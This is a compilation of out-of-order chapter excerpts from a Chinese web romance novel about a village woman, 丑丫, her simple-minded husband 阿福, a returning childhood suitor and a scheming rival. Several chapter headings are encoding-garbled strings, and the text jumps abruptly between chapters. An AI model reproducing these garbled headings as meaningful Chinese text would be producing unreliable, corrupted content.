门外站着一个瘦高清秀的青年男人,男人身上穿着一身青灰色的细棉布长衫,头发一丝不苟地束成一个髻,横叉着一根木簪,面容清秀俊朗,一副书生模样。 丑丫没见过这人,面带疑惑,同时心里也升起警惕:“请问你找谁?” 付北辰有些局促的两手交叉握着,直到门口出现那抹与他记忆里很像,又不太像的身影时,才稍稍松了一口气,就连眼神中也有亮光闪过。 九年过去,还好她还是住在这里,不然他就找不到她了。 他轻咳一声,将自己的激动给压了下去,和煦温润的声音开口:“小柿子,你还记得我吗?” 丑丫一脸懵,不确定地指了指自己,疑惑问:“你是在和我说话吗?” 付北辰见她这样迷茫的样子,就知道她已经将当年的事情忘了,也忘了这个专属于他和她的称呼。 他心底涌上一阵失落,嘴角却依旧微微上扬着:“九年前,你在山脚下救了一个男孩,你送了他几个柿子,你还记得吗?” 丑丫歪着脑袋,调动着那些尘封已久的记忆,许久后才想起他说的那件事,一时间,她惊奇地呼出声:“你是小书童?” 付北辰见她终于想起自己,心口悬着的那块石头终于放下,轻快又激动的笑了起来:“是我,我现在叫付北辰。” 还好,他在她的记忆里还是有位置的,她没有将他忘得彻底。 丑丫对于付北辰会来找她,很是疑惑,她七岁那年,山上找吃的,找到了一棵没人摘的野柿子树。 野柿子,果子涩嘴,也只有枝头那几个被太阳充分照过的才会有点甜意,那时她很聪明,专门摘鸟啄过的,鸟啄过的大多都是甜的。 才七岁的她,身板小得可怜,哼哧哼哧地爬上枝头,只摘了四五个能吃的柿子,还都是被鸟啄过的,但她还是很开心,至少能有东西塞进饿得空空如也的肚子里,还吃不死人。 她下了山,却在山脚的路上捡到了一个饿晕的小男孩,那个男孩子她认识,是村里为数不多的能到镇上读书的孩子。 他家本来在村里还是日子过得不错的,可是夜里一场大火将家里烧了个精光,家人也全都烧死了,只有在镇上书院读书的他逃过一劫。 从小衣食无忧的他一下子遭此变故,都不知如何养活自己,村里人麻木冷漠,没人施以援手,他找不到吃的,便饿晕在了路上。 那时几个野柿子就是丑丫的全部,但看到饿晕了的付北辰,她还是将自己的柿子分给了他一半。 两个小孩儿,蹲在路边,大口大口地啃着不是很干净、不是很好吃的野柿子,那时候付北辰说,村民给她取的丑丫这个名字不好听,他就叫她小柿子吧。 是她用柿子救了他一命! 那天以后,丑丫有了一个暂时的搭伙过日子伙伴,两人约着一起去山里找吃的,他不会认吃的,她教他,而她有了一个伴,钻进山林里也不觉得害怕了。 但这样的日子也就持续了两天,小书童有亲戚来接他走了,他要去别的地方生活,她又只能一个人勇闯山林谋食。 那时,她还难过了好几天呢,想着为什么她就不能有一个亲戚上门来带她走,给她一碗饭吃。 只不过,这点难过,很快便消失不见了,就连那个和她短暂搭伙的小书童也被她抛之脑后,她要生存,她要活着,没有时间和精力去伤春悲秋。 过去的记忆一闪而过,意识回笼,丑丫看着他,礼貌又客气道:“要不进来坐坐?” 付北辰没推辞,微微点头,便跟着丑丫进了院子,院子里有一张小方桌和两个凳子,桌上还放着一个针线笸箩,里面有没做完的衣裳。 丑丫将人迎到桌前落座,之后转身去厨房里倒水。 付北辰局促地坐着,略显文弱的身板挺得笔直,他打量院落四周,院子虽然小,但收拾得井井有条,看得出小院的主人很会过日子。 想到这儿,他不禁勾起一抹浅浅的笑,她的确很会过日子,当年还那么小,她就能带着他满山跑,教他认各种能吃的食物。 视线转过,落在了眼前的针线笸箩上,待看清里面那件男人式样的衣裳,他的心咯噔了一声,脑子也有些乱。 她成亲了吗? 他想伸手,将那件衣裳给拿起来看,可就在这时,丑丫从厨房里端着一杯水回来了。 她笑着,像小时候那样,即使生活过得很艰难,却也还是会对他笑。 “家里没茶叶,这是我自己用晒干的野菊花泡的水,别嫌弃。” 绗?4绔?闀垮ぇ鍚庢垜鍥炴潵濞朵綘 他接过那一杯冒着热气的菊花茶,一阵浅淡的菊花香洒进鼻腔里,但是这一刻,这一缕幽香却不能抚平他焦躁的思绪。 付北辰沉默不语,丑丫也不知道该和他说些什么,毕竟她连他为什么会回来找她都不知道。 又过了一会儿,付北辰终于平复了自己的焦躁,想问出他的那个疑惑,可还没开口,就听门口处传来一阵马蹄声,紧接着,一个俊朗非凡的男人骑着一匹大黑马跨进了院子。 他是那样的威武不凡,他这些年念书,也算见过世面,可却不曾见过这般风光霁月之人,不由一下失了神。 丑丫见阿福回来,笑意盈盈地跑了过去,浑身都是幸福的气息:“阿福,你回来了,渴不渴?我给你倒水。” 付北辰落在阿福身上的目光转移到了丑丫身上,眼底的落寞想掩饰都掩饰不住,心口更是像被扎了一刀。 阿福翻身跳下马,目光直直地盯着付北辰,不知为何,他莫名不喜欢这个人,觉得他不怀好意! “娘子,我渴,想喝蜂蜜水!” 他一手牵着马,一手搂过丑丫的纤腰,抱一下才放她离开,眼神却瞟向付北辰,眉头得意地挑了挑。 大概男人天生就能感应出情敌,就算阿福现在心智不全,但他还是下意识就不喜付北辰。 尽管心里已经有了答案,但是听到男人那声娘子时,付北辰还是控制不住地颤了一下,手里的杯子落在了桌上,翻到,菊花茶洒了出来,一部分洒在了他的衣裳上。 他慌乱地要用手去扶杯子,将那两朵野菊花给捡回去:“不不好意思。” 丑丫忙制止他:“不用收拾,你快站起来,不然桌上的水就滴到你衣服上了,我去拿帕子来擦就可以。” 丑丫进了厨房拿帕子,阿福冷冷地看了他一眼,然后牵着大黑马往马圈走去。 桌子被重新擦干净,丑丫又给付北辰重新泡了一杯菊花茶,还给阿福冲了蜂蜜水。 三人坐在桌前说话,阿福搬了凳子,要挨着娘子坐,一双眼睛直勾勾地盯着付北辰,充满敌意。 丑丫知道阿福爱吃醋,毕竟他曾经可是连林婉婉一个女孩子的醋都吃,但付北辰对于她来说,现在就是一个陌生人,他们九年没见面了,实在不用这样。 她好笑地扯了一下阿福的衣裳,小声道:“阿福,不能这样看别人,不礼貌。” 阿福充耳不闻,大大喝了一口蜂蜜水,故意当着付北辰的面炫耀:“娘子冲的蜂蜜水真甜,阿福最喜欢喝了!” 付北辰心里有点苦涩,他已经看出来了这个俊美非凡的男人神智大概有点问题,可那又如何,她的眼里都是他,想来是发自心底的喜欢,终究是他来晚了。 “他是你相公?” 他看着丑丫,或许是心底的那点不死心让他问出口,但没说一个字,他的喉头都有点发苦。 丑丫看了眼阿福,眼角眉梢都是笑,那是幸福满足的笑:“嗯,他叫阿福。” 砰一声,付北辰只觉得自己的心像是从高空坠落,摔成了一滩肉泥,连疼都不知道了,只剩下麻木。 原来从她口中听到这个消息是这种感觉。 他苦涩地笑道:“真好,你们成亲多长时间了?” 丑丫没想到他会这样问,回想了她和阿福的认识的时间,她在盛夏时捡到了他,现在已经是深秋,已经有三个月了。 没等她回答,阿福就已经抢先道:“三个月,我和娘子已经认识三个月了!” 他得意地挺起胸膛,他可是会数数的! 付北辰的笑更加的苦涩,三个月,是不是他再来早一点,他就有机会了? 丑丫觉得付北辰的脸色有些怪异,换了个话题道:“对了,你怎么想起回来了,你这些年过得怎么样?” 他轻轻点头,故作轻松:“我过得很好,这些年住在姨母家,姨母和姨丈一直供我读书,我已经考中秀才了。” 丑丫真心替他开心:“那可太好了,以后不能叫你小书童,得叫你小秀才了!” 小秀才,专属于小柿子的小秀才,从前是小书童,现在是小秀才。 付北辰心里苦得发酸,那年,饿得快死的他,被一个瘦瘦小小的小姑娘用几个柿子给救活了。 明明她也只有那么几个柿子,明明她给了他,她就会吃不饱,明明她受苦受难的时候,他的父母乃至他都没伸出过援助之手,可她还是那么善良地救了他。 “丑丫一点也不好听,我不想这样叫你,我叫你小柿子好不好?这样的话我就一辈子能记得你是我的救命恩人了!” “好呀,那我叫你小书童吧!” “小柿子,我亲戚来带我回家了,我不能和你一起去找吃的了,你等我,我长大后就回来娶你!” “一定要等我,我会回来娶你的,我好好读书,以后让你当秀才夫人!” 儿时不过短短两天的记忆,却被他铭记多年,也成了他这么多年刻苦读书的动力。 他想再努力一点,再强大一点,然后去找那个善良的小姑娘,将她娶回家,用一辈子来回报她。 他看了无数的书,写了无数的题,终于得了个秀才名号,满心欢喜地来寻他压在心底多年的小柿子,可她却已经嫁作他人妇。 丑丫不知道付北辰心里想了这么多,也不知道他竟将儿时她当做玩笑的话当了真,还记了这么多年。 眼看也快要到了饭点,她看着付北辰道:“你今天留在这儿吃饭吧,我现在去烧火。” 付北辰站起来了身,推辞:“不了,我这就走了。” 他怕再待下去他会控制不住自己的情绪。 长衫的袖子很宽大,他的手藏在了袖子里,手握得很紧,缓了一会儿后,将眼底快要抑制不住的泪光给强压下去,然后小心翼翼地从袖袋里掏出一根簪子。 银质的发簪,是一株柿子的式样,很好看,很精致。 明明发簪很轻,但他的手却止不住颤抖,将那根柿柿如意的簪子递到了丑丫跟前:“这是给你准备的谢礼,感谢你当年的救命之恩,现在就当做你们的新婚贺礼吧。” 其实这是他准备的定情礼,他想求娶她,若是她愿意,这就是他们的定亲信物。 绗?6绔?濂瑰渚勫効娌c垙浜嗭紒 草棚里堆满了割回来的茅草,秋天的草水分少,但好在长得旺,就算大黑马不爱吃,也勉强能吃饱。 小柴房里也堆满了新砍回来的柴火,够他们两个暖呼呼的过冬。 丑丫和阿福所在的这个小村子位于武朝的西南地带,已经邻近和他国的交界处,冬天不会下雪,但是会下霜,干燥寒冷,没有足够的柴火很难熬。 过冬的衣裳、柴火都准备好了,两人才重新收拾东西去摆摊。 大早上赶着马车出门,迎面而来的都是呼呼的寒气,丑丫心疼阿福在前面赶车受冻,给他用棉布缝了一个手套,里面还塞了棉花,口子处缝了两条系带,将手伸进去,再把带子系紧。 虽然有些笨重,但是很暖和,阿福也很喜欢。 两人都穿了新棉衣,阿福的是一身很普通的石青色,但是丑丫手艺很好,针脚细密,缝得整齐又扎实。 而丑丫的衣裳是桃红色,阿福之前给他选的那匹布料,一改之前沉闷老气的颜色,整个人都显得娇俏了许多,阿福一早上夸了她好几次漂亮,将她说得都不好意思红了脸。 天冷了,吃汤面的人更多了,热腾腾的大骨汤煮的面条,客人能连汤都给喝干净。 付北辰的姨母韩氏软磨硬泡了一个月,终于从自家侄儿口中得到了关于那姑娘的一星半点消息,然后又下功夫的去打听,终于锁定了目标。 他侄儿说那姑娘很善良,很可爱,很会过日子,脸上有一个红胎记,她问了不少人,他们都说镇上有个小面摊,老板娘就是个脸有胎记的爽利小姑娘。 而小姑娘还有个俊俏傻夫,惹的不少大姑娘小媳妇去偷看呢。 打听到这个消息,韩姨母便日日上街去蹲点,想看一看那个被自家侄儿记挂这么多年的小姑娘。 但可惜,蹲守了几日,都没等到丑丫和阿福来出摊,今日她依旧不死心的继续出门,皇天不负有心人,终于被她给等到了。 她颇有些气势汹汹的朝着面摊走去,但又想起来她可是个文明人,又强行让自己镇定下来,装作吃面的客人,在面摊上坐下,点了一碗面。 “小姑娘,给我来一碗面。” “好嘞,您稍等。” 丑丫甜甜应了一声,负责扯面的阿福已经将扯好的面条丢进锅里的笊篱里面,丑丫抖动笊篱,防止面条粘在一起。 韩姨母偷偷打量丑丫,嘴挺甜的,干活也麻利,瞧着是个爽快人,就是脸上有个胎记可惜了点。 阿福的感知很敏锐,他察觉到有目光盯着自家娘子看,锐利的眼神盯上韩姨母,将韩姨母给吓了一跳,但同时也发现,别人说的那个俊俏傻夫是真的俊。 这么好看一小伙,那眼神怪吓人的,要不是别人说他是个傻子,她还真看不出来。 她收回了自己的目光,心虚地看向别的方向,直到丑丫将一碗热气腾腾的面条端到她面前。 “大娘您慢用,要是汤不够,可以喊我,我给您添。” 韩姨母环视面摊一周,见现在所有客人都吃上了面,也没有客人来,就拉住丑丫的手,笑着道。 “丫头,要不你坐下和我说两句话吧,我孩子不在家,老伴儿又是个闷葫芦,一天到晚没个说话的伴儿,可把我给憋坏了。” 丑丫觉得这个大娘的要求有些奇怪,但见现在面摊上不忙,就答应了。 “好,大娘,你想说什么就说吧。” 韩氏心里满意,倒是个和善的。 她搅动着手里的面,吃了一口,别说,味道还挺好的,心里有默默给丑丫加上一个厨艺不错的标签。 她有一搭没一搭地和丑丫聊着,对这个小姑娘很是满意,都挑不出错处,可越是这样,她就越难受了。 要是她侄儿喜欢的姑娘是个刁蛮的,她还可以安慰自己是人家姑娘配不上她家侄儿,可看着姑娘这么好,她就越发替侄儿难过了。 喜欢了那么多年的姑娘嫁给了别人,他该有多伤心啊,早知道她当年就应该下手早一点,上门去提亲,给两人先定下亲事,也就不会发生这样的事了。 摊子上没来客人,阿福却没闲着,收拾吃完离去的客人的碗筷,擦拭桌子和台面,丑丫舍不得让阿福一个人忙活,和韩氏说了几句,便起身去和阿福一起忙活了。 “阿福,累不累,累就休息一会儿,我一会儿去给你买酥饼吃。” 阿福摇头,抢过丑丫手里的抹布,将她按在椅子上休息:“不累,娘子休息,阿福干活,阿福干活厉害。” 邻居的卖鞋大娘最喜欢看的就是这小两口你侬我侬,虽然自家老头年轻时对她也不错,但却没有这傻小子这么宠,自己没有受过这种待遇,看着别人秀恩爱就觉得挺甜的。 “阿福啊,要不你拿个裤腰带,把你娘子挂你裤腰上吧,这样就不怕她累着了。” 大娘明显是打趣的玩笑话,可傻傻的阿福却认真地思考起了这事儿的可能性,丑丫羞臊得红着脸看了大娘好几眼,小眼神里满是嗔怪和不好意思。 韩姨母更心塞了,这傻小子长得好看,会干活,还疼娘子,自家侄儿好像真的没戏了! 她来时想了很多,要是这姑娘不是个好的,不值得自家侄儿喜欢,或是姑娘嫁的相公比不上自家侄儿,她心里好歹有了个安慰。 但现在看来,姑娘是个好的,嫁的人也是个好的,小两口幸福着呢! 而她的傻侄儿,完完全全就是个偷偷喜欢了人家很多年,却连说出口的机会都没有的局外人! 心塞,想哭,生气! 韩姨母愤恨的情绪转化为食欲,低头猛吃面。 而此时街上,付北辰像个游魂一样游荡在街上,都快要一个月了,他还是没能彻底缓过来。 之前为了乡试,他埋头苦读,等终于中了秀才,才有一丝的喘息机会。 姨母说让他到街上逛逛,说不定心情会好一点,他逛了,从街头逛到街尾,漫无目的地逛遍大街小巷,却惊奇地发现,在他以为和她毫不相干的地方,却能听到关于她的消息。 街头巷尾的角落里,或是某个小摊前,几个人聚在一起,聊着一些过时的八卦。 第31章 香荷反水,颠倒是非 “小姐,奴婢错了!奴婢真的错了!奴婢不是故意的,求您饶过奴婢这一次吧!” 她磕得额头破了一块,血迹往下流,糊了一脸,看着很凄惨,但谢婉婉却一脚踹在了她身上,将她给踹倒。 “让我饶了你?你都要要我命了,有什么资格,有什么脸让我饶了你?” “你在我院子里的时候,我没亏待你,尽管你背着我耍小聪明,做小动作,我都知道,也没将你怎么样,可你就是这样回报我的?” 香荷心里有所不服,她哪里对她好过了,什么好东西不是都紧着小慧,这次只不过是因为多说了丑八怪和傻子两句,就将她贬去当下等丫鬟,就这还敢说对她好! 但是现在人在屋檐下,她不得不低头! “是奴婢鬼迷心窍,求小姐再给奴婢一个改过自新机会吧!” “你既说是鬼迷心窍,那是哪只鬼迷了你,你要是不老实招待,万老八就是你的下场!” 谢婉婉厉声发问,尽管已经知道是那个人,可她需要证据,有了证据,她才能去质问那个老妖婆。 香荷怕疼、怕死,最会见风使舵,看了眼万老八那肿成猪头的脸,就将所有都招了。 她是女的,可没有万老八那般挨得住打,而且她以后还要嫁个有钱男人呢,要是她的脸毁了,男人就不喜欢她了! 她将谢夫人交代她去办的事说得一清二楚,但隐瞒了是她主动去告密,唆使谢夫人对付谢婉婉的事。 审问出了实情,有了人质,门房来报谢老爷回府了,谢婉婉立刻带着丑丫和阿福,以及两个人质,气势汹汹地朝谢夫人的院子走去。 三年来受地气,今天该有个了解了! 踏进谢夫人的院子,就可以听到谢夫人对谢员外的温声软语,娇媚缱绻,将谢员外的心勾得五迷三道。 谢员外正在享受娇妻对他的依偎,就听丫鬟禀报说大小姐来了,他本来笑得灿烂的表情瞬间冷了下来,没好气道:“她来干什么?让她滚进来!” 话音刚落,谢婉婉已经带着人进来了,表情异常的冷漠,仿佛眼前的人不是她的父亲,而是陌生人。 丑丫抬眸打量谢员外,四十多岁的模样,长相还算周正,但估计日子过得太舒坦,肚子有些发福。 而他身旁那位美妇人,面如娇花,温柔妩媚,若不是已经知道实情,又怎么会想得到这样长了菩萨面的女人是个蛇蝎心。 “女儿给父亲请安,女儿今日来是有一件事想问一问姨娘。” 一听到“姨娘”这两个字,谢夫人的表情微微变了变,暗自咬了一下牙根,这个小贱人! 谢员外的表情也难看起来:“叫什么姨娘,这是你母亲!” 谢婉婉的表情依旧冷若冰霜,坚决不改口:“女儿只有一个母亲,葬在了山林里,女儿不想和您讨论这件事,只想问姨娘一句,为何要陷害于我?” 她不给两人插话的机会,一口气说完了自己想说的话,将谢夫人设计陷害她和阿福的事情给交代清楚。 丑丫也站出来,厉声质问道:“我也想问谢夫人,我相公与你何冤何仇,要这般陷害他,你这般对待原配夫人的女儿,就不怕她在地底下不安宁来找你麻烦吗?” 谢夫人安安静静听着他们的质问,那面带笑意的温柔表情也不曾变过,只不过眼神扫过阿福的脸,微微惊艳。 难怪谢婉婉那贱丫头会喜欢一个傻子,长得是真的好看,这样的容貌却长在一个傻子身上,真是可惜了。 谢员外看向他身边的娇妻,皱起了眉头,虽说他不喜欢谢婉婉这个女儿,但是他还需要她去联姻,她这样做,不是毁了他的计划吗? 谢夫人迎上他的目光,似是看懂了他的质疑,瞬间泫然欲泣。 “老爷,您就这般不信任妾身吗?妾身怎么可能会做这种恶毒的事,妾身平日可是连蚂蚁都舍不得踩的!” 温柔妩媚的娇妻捏着帕子掩面哭泣,那梨花带雨的模样,让谢员外心猿意马。 对啊,他怎么能怀疑她,与她这么多的夫妻情分,她有多善良,他能不知道吗? 他的娇妻,温柔又善良,就连看到落花都会惋惜落泪的人,怎么可能会做这种事! 他轻轻搂了搂谢夫人,用宠溺的语气道:“我怎么可能不信你,就会胡思乱想,快擦了眼泪,都是两个孩子的娘了,还这般爱哭。” 谢夫人娇羞掩面,那双勾人的眼睛含娇似嗔地看着他,愈发让谢员外喜爱。 而谢婉婉,看着他们这般模样,心沉到了谷底,心里止不住的自嘲冷笑。 她还在期待什么?期待她的亲生父亲对她还有一丝怜悯? 她深吸了一口气,努力让自己心平气和:“既然父亲不信我所说的,不如听听证人所言。” 丑丫从后面踹了万老八一脚,万老八一吃痛,立马倒豆子一般将之前自己所招供的又复述了一遍。 谢员外看万老八肿胀成猪头的脸,嫌弃地将视线移到香荷身上:“他所言是否属实?是你和他接头让他陷害小姐的?” 香荷早在进屋看到老爷对大小姐的态度时,她的心就稳了。 老爷明摆着向着夫人,只要她一口咬死没有做过,夫人一定会保她! 她跪在地上,神色慌张又激动,如同找到了救星:“老爷,夫人,奴婢没有做过,奴婢根本不认识这个人,你们看他被打成这惨样,奴婢就是怕被打才这样说的!” “奴婢没有陷害过大小姐,更不是夫人授意让奴婢这样做,他们诬陷奴婢,也诬陷夫人,求老爷明察!” 谢婉婉脸色一白,她没想到香荷会在这个时候反水,而且还颠倒黑白! 她气得一巴掌扇在了香荷的脸上:“你个贱婢!” 香荷被打,心里对谢婉婉的怨恨更深了,但她也抓住这个机会,变本加厉地装可怜。 “老爷,夫人,求你们救救奴婢吧,奴婢不按大小姐意愿办事,大小姐会打死奴婢的!” 谢夫人面上不显,心里却得意地发笑。 在这府中,能得到老爷的宠爱才是生存之道,就算谢婉婉抓住了她的把柄又如何,她不过掉几滴眼泪,老爷就心疼信任她,就连掌握在他们手里的证人,也能反水为她所用! 绗?9绔?骞村叧灏嗚嚦 厨房里升起袅袅炊烟,丑丫在灶台上做着早饭,睡醒了的阿福衣裳歪歪扭扭地穿在身上,眼睛里的困意还没消散,摸进厨房里,从身后搂住丑丫,将脑袋搭在丑丫的肩上,又将眼睛给闭上。 他比丑丫高很多,将弓着身子才能将脑袋搭在丑丫肩上,那姿势并不舒服,但他就是想这么靠着娘子。 娘子身上有一股很好闻的气息,有皂角洗衣服后的清香,也有她身上的馨香,还有淡淡的烟火味。 若用一个词来形容这个味道,那应该就是安心,只要有她在身边,他就觉得安心、踏实。 丑丫手里切着一块萝卜,感受着身后像膏药一样粘上来的男人,好笑又无奈道:“阿福,锅里有热水,赶紧打水洗脸去。” 阿福哼唧着站直身子,才看到娘子没戴他送她的簪子,不满地撅嘴:“娘子为什么不戴我送你的簪子?是不是不喜欢簪子,也不喜欢阿福了?” 丑丫知道男人这是又要耍小脾气了,耐心地哄着:“哪有,我喜欢着呢,就是因为太喜欢了,才舍不得戴。” 那可是二十两的簪子,让她戴在头上干活,她生怕簪子掉了、刮花了,还是藏着安心。 阿福的脾气就像是六月的天,一会儿晴,一会儿阴的,现在听娘子这么说,又开心得不行。 他转身跑回屋里,嘴边喊着:“我去拿来给娘子戴上,娘子喜欢,阿福以后还给你买!” 丑丫想阻止,但男人那两条大长腿,没几步的功夫就已经跑没影了,只能作罢,心道:她只有一颗脑袋,哪需要那么多簪子,再说了,戴上那二十两的簪子,她觉得她的脑袋都变沉了。 阿福很快又跑回来了,手里拿着那根簪子,像昨晚上那样小心地给丑丫簪上,然后叮嘱:“不许拿下来哦,娘子要是拿下来,阿福就生气了!” 丑丫见他这样,哪儿还拒绝得了,只能笑着答应:“好,我戴着,睡觉也不拿下来,这下满意了吧?” 光阴如梭,还有半个月就要过年了。 从来没有一年丑丫像现在这般期待新年的到来,因为往年只有她一人,万家团圆,热热闹闹的过年,只有她孤零零一人守着自己的小破院。 天黑了睡觉,天亮了干活,新的一年于她而言并没有什么不同。 但今年不一样了,这是她和阿福过的第一个年,也是她自父母去世后过的第一个有人陪的年,她无比期待。 街上摆摊的活计他们暂停了,买了很多的年货储备着,丑丫还在写对联的书摊上找人写了好几对对联,到时候把家里大大小小的门都贴上对联。 养了一年的大肥猪要出栏了,村里人多的家庭都是自己家宰猪,请亲朋好友吃一顿杀猪饭,剩下的肉都做成腊肉,留待明年,那将是他们一整年的肉菜。 丑丫和阿福只有两个人,一大头猪根本吃不完,而且比起腊肉,阿福更喜欢吃新鲜的肉,所以丑丫将猪卖给了镇上的屠户,再从屠户那里拿几斤肉回家吃。 冬天是做酱菜的季节,丑丫面摊上卖的肉臊子都是用她自己做的酱炒的,往年一整年都吃不完的酱,今年却马上要见底了,她得再做一大坛,等明年接着卖面用。 做酱是个力气活,得先泡两大桶的豆子,浸泡一夜,再上锅蒸熟,之后放进裹了好几层茅草和棕榈毛的背篓里发酵。 发酵完成的豆子味道有些一言难尽,像极了十天半个月不洗脚的脚臭味。 小院里发酵豆子的那个角落,弥漫着难闻的味道,好几次阿福都觉得那筐豆子坏了,要将它给丢了。 今天是发酵好的豆子出框的日子,丑丫将两个簸箕给洗干净,然后将捂得严严实实的发酵豆子的背篓给捣腾了出来。 将背篓上的覆盖物给除去,那股难言的味道更明显了,丑丫一个人搬不动那么大一背篓豆子,让阿福来帮忙,阿福脸上些满了嫌弃。 他捏着鼻子,不敢相信他平时吃的那么好吃的酱居然是用这脚臭味的豆子做成的! 但尽管再嫌弃,娘子的话还是要听的,他一边皱着张脸,一边两手拎起背篓就跑。 发酵好的豆子从背篓里倒出来,还散发着阵阵热气,随着热气升腾,那股味道也愈发的霸道,阿福看着娘子用筷子翻搅那些发酵成黄黄一坨坨的东西,那双好看的眼睛里充满了震惊。 怎么好好的豆子捂着捂着就变成屎了?而且娘子还用筷子去搅,那样子像极了玩屎! 阿福的世界观又一瞬见的崩塌,他香喷喷的娘子不干净了! 丑丫正因为这一筐豆子发酵的很好而高兴着,转头就看到阿福满脸惊恐的看着她,那眼神里有不敢置信和不可思议。 她脑袋空白了一瞬,再回头看向她搅着的这些黄黄的坨状物,瞬间明白了阿福为何会用那种眼神看她。 她嘴角扯了扯,不知道该如何像阿福解释,这是发酵好的豆子,不是屎! 突然,她玩心大起,拿了一小块豆子塞进嘴里尝尝味道,之后满脸笑容的看着阿福,诚邀他一起品尝。 “阿福,快来尝尝,味道不错。” 阿福眼睛瞪得有铜铃大,眼神里的惊恐都要凝成实质了,很多年后他回想起这一幕,对别人说道:说来你可能不信,我娘子邀请过我一起吃屎! 看阿福那傻憨憨的表情,丑丫不逗他了,耐心的解释:“阿福,做酱的豆子就是这个味道的,等我放上佐料拌一拌,之后再晒上一两个月,那味道就和你之前吃的一样了。” 阿福将信将疑,看着丑丫在那坨发酵好的豆子里加了各种的香料和盐巴,味道似乎也变得好了起来,他才稍稍放心。 将调味好的酱半成品装坛,让它继续发酵入味,之后便是晒酱。 发酵豆子用的背篓都被腌入味了,在家里根本洗不干净,丑丫拿上背篓,准备到河边去洗,阿福也跟着去,顺便牵上了大黑马,让它出门遛一遛。 绗?1绔?浣犵殑鍡撳瓙鏄楦瓙鍢村す浣忎簡鍚楋紵 还有好几次,吴芳草怂恿她的追求者们欺负她,看着她被打,被骂,她笑得很开心,大概是有了她的衬托,她那张小家碧玉的脸会显得更加好看。 她算是她的一个仇人,她那时候小,没能力报仇,就想着等她再大一点,就将从她身上受的气都给讨回来,但还没等她长大,吴芳草就被她父母送去镇上的绣坊当学徒了。 她长得好看,父母对她寄予厚望,希望她长大后能嫁入豪门,所以将她送去当绣坊学徒,不仅能学技艺,还能挣钱。 绣坊没什么休息时间,只能过年时回家几天,因此,她和她没什么见面的机会,就不像从前那般受她欺负了。 过去的记忆一闪而过,丑丫并没有放在心上,可是对面的人却嫉妒得寝食难安。 在丑丫和阿福走的时候,吴芳草注意到了丑丫头上戴着的那支珍珠蝴蝶发簪,那簪子她知道,贵着呢,十多二十两一支,她一直想买,但没钱。 她都没戴上的簪子,居然被丑八怪先一步戴上了,她怎么配得上那么好的簪子! 一定是那个男人给她买的,她不过不在家几年,丑八怪居然就傍上了这么好的男人,她怎能咽得下那口气。 她是全村最优秀、最好看的姑娘,她的夫婿自然也要是最好的! 吴家 吴芳草怒气冲冲地回家,问了她爹娘一些关于阿福的事情。 吴父吴青山疑惑,女儿不是之前还生气他们提议让她勾搭傻子吗?怎么现在又问上了? 吴芳草双手抱胸,神情高傲:“爹,娘了,你们也真是的,村里来了这么优秀的男人也不知道提早和我说一下,让丑丫那个丑八怪抢了先!” 吴父吴母心里一喜,都眼冒精光地看着女儿,这么说是看上了? 吴芳草看出他们的疑惑,说道:“我刚才在河边见到丑八怪和那个男人了,你们只知道他们买了马车,应该不知道那丑八怪头上戴着的一根簪子就只值二十两吧?” 吴父吴母瞪大了眼睛,嘴巴也张大,话都说不出口。 二十两!看来丑丫和傻子比他们想象的还要有钱! 吴母搓了搓手,满脸谄媚地看着女儿:“闺女,那你现在是什么意思?看上那个傻子了?” 吴芳草高傲地挑眉:“勉强吧,这些年身后跟着的那些歪瓜裂枣我没一个看得上的,这男人长得合我的心意。” 吴父吴母大喜过望,他们女儿长这么好看,勾搭一个傻子不是手到擒来,怎么会有人不喜欢香的,喜欢臭的呢,他们女儿和丑丫比起来,那就是一个天上一个地下! 而且,上门求娶他们女儿的那些人家,他们也有能看得上的,就算有的家里有些小钱,但也绝对比不上傻子和丑丫。 等傻子成了他们家的女婿,那他的钱不就是他们的钱了嘛! 一家人算盘打得噼啪响起,已经将阿福看成了他们的囊中之物。 这天,阿福像往常一样牵着大黑马,到山脚去放马,他们这儿冬天不会下雪,虽然草被霜冻得枯黄,但大黑马也吃。 而且比起待在马圈里,大黑马更喜欢出门溜达,一天不溜达就会耍小脾气。 今天丑丫在家中忙活,没和阿福一起去,而且阿福对去山脚的路已经很熟悉了,他的身手又好,她也不是很担心。 阿福骑着马,单手拉缰绳,慢慢地晃悠在路上,走过一棵大树下时,一个身穿粉色棉衣的女人将他给拦住。 这人他不认识,但那天在河边见过,他微微皱眉,然后拉扯缰绳,让马绕过了拦路的女人,继续往前走。 娘子说过,陌生人莫名其妙凑上来,一定是别有用心,最好的方式就是不搭理他们! 吴芳草已经在这儿蹲守许久了,根据她这几天的观察,那个男人每天都会去山脚放马。 远远见他过来的时候,她就已经整理好仪容,练习好了表情,绝对让男人一眼入迷。 她站在马前,眼神湿漉漉地向上看,嘴角有一抹若有若无的笑,这样的表情,她试过无数次,男人大多都吃这一套,屡试不爽。 她幻想的场景是,男人骑着高头大马,突然见身前出现一个少女,他扯住缰绳,停住马,然后居高临下往下看,对上她勾人的眼眸,然后惊鸿一瞥,一眼万年。 然而现实却是,男人瞥了他一眼,然后皱眉嫌弃,骑着马,绕过她走了,就在这时,大黑马还毫无征兆地尥了一下蹶子,掀起一片灰尘,让她吃了一嘴灰! 吴芳草的笑容僵住,连呸了好几声都没将嘴里的土给吐干净。 这不可能!这一定是巧合,她这么美,哪一个男人舍得这么对她! 她忙用袖子擦了一把脸,眼里酝酿起水雾,开口声音甜腻得骇人:“公子,请问可以帮奴家捡个帕子吗?” 话出口,她满怀期待,可马背上的男人无动于衷,依旧悠哉悠哉的往前走。 她的柔美表情又僵住,不死心的再次开口:“公子?” 无人应答。 她胸腔里升起一股怒火,跨步朝着阿福的方向追了过去,又拦在了马前:“公子,你听到我说话了吗?可以帮我捡个帕子吗?” 这次阿福不得不停下马,他看了眼吴芳草,眉头蹙得更紧了,娘子说的果然没错,主动凑上来的人都不怀好意。 娘子还说,他长得好看,又乖,陌生人见了都想把他拐回家,他要远离不怀好意的陌生人! 吴芳草见他停下,喜出望外,她就说嘛,没有哪一个男人能抵挡她的魅力。 她羞涩的笑着,抬手指了指树上那张白色绣着小花的帕子:“就是那张,刚刚风大,被吹到树上了,我够不到,公子能般个忙吗?” 阿福抬头看了一眼他坐在马背上伸手就能够到的帕子,面无表情,睁眼说瞎话:“够不到。” 然后轻轻拍了大黑马一巴掌,大黑马继续慢悠悠的往前走。 吴芳草这次表情真的绷不住了,黑得像锅底,他伸手就能拿到的帕子,他居然说够不到! 正在她怀疑自己的魅力是不是打折扣了的时候,走出去几步的阿福又停住了马,吴芳草的表情又由阴转晴。 这是良心发现,觉得她很有魅力,要回来帮她捡帕子了吗? 